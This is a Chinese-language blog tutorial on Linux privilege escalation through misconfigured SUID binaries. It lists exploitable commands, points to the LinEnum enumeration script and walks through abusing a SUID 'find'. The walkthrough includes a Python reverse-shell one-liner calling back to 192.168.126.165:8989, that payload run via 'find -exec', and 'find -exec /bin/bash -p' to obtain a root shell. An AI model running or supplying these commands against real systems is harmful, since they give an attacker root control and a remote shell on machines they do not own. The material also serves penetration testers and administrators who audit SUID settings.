Linux提权之Suid提权

漏洞介绍

SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。只要低特权用户执行suid权限程序,便会以root特权执行。

SUID是一项功能,如果使用得当,它实际上可以增强Linux的安全性。问题在于,管理员在安装第三方应用程序或进行逻辑配置更改时可能会在不知不觉中引入危险的SUID配置。

许多系统管理员不知道应该在什么情况设置SUID位,SUID位不应该设置在文件编辑器上,因为攻击者可以修改系统上存在的任何文件。

常见的可用于suid提权的命令

Nmap

Vim

find

Bash

More

Less

Nano

cp

漏洞复现

信息收集

使用LinEnum.sh来收集要提权的机器上的信息,该脚本主要用来收集Linux上的信息。

该脚本的下载地址:

https://github.com/rebootuser/LinEnum

执行LinEnum之后,发现find这个命令有SUID权限。

收集信息

确认 find 有 root 执行权限

执行命令

touch ice
/usr/bin/find ice -exec whoami \;

确认 find 命令是否是 root 权限执行.

root

反弹shell

如果目标机上有 python 环境,可以使用 python 命令反弹 shell:

#反弹一个sh类型的shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.126.165",8989));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

结合 find :

/usr/bin/find ice -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.126.165",8989));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

但是反弹的 shell 不是 root 权限,在本机上 find 执行 id 时,有一个 euid (euid 就是我们通常说的 suid, 或者叫 excute user id,它使文件执行时拥有该文件所有者的权限。)为 root 权限,但是反弹 shell 中并没有。

非root权限

默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。

我们尝试使用如下命令获取 shell:

/usr/bin/find ice -exec /bin/bash -p \;

提权成功

可以看到获取的 shell 为 root 权限。


本文作者: iceH
本文链接: http://www.secice.cn/p/a20c8cf4
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!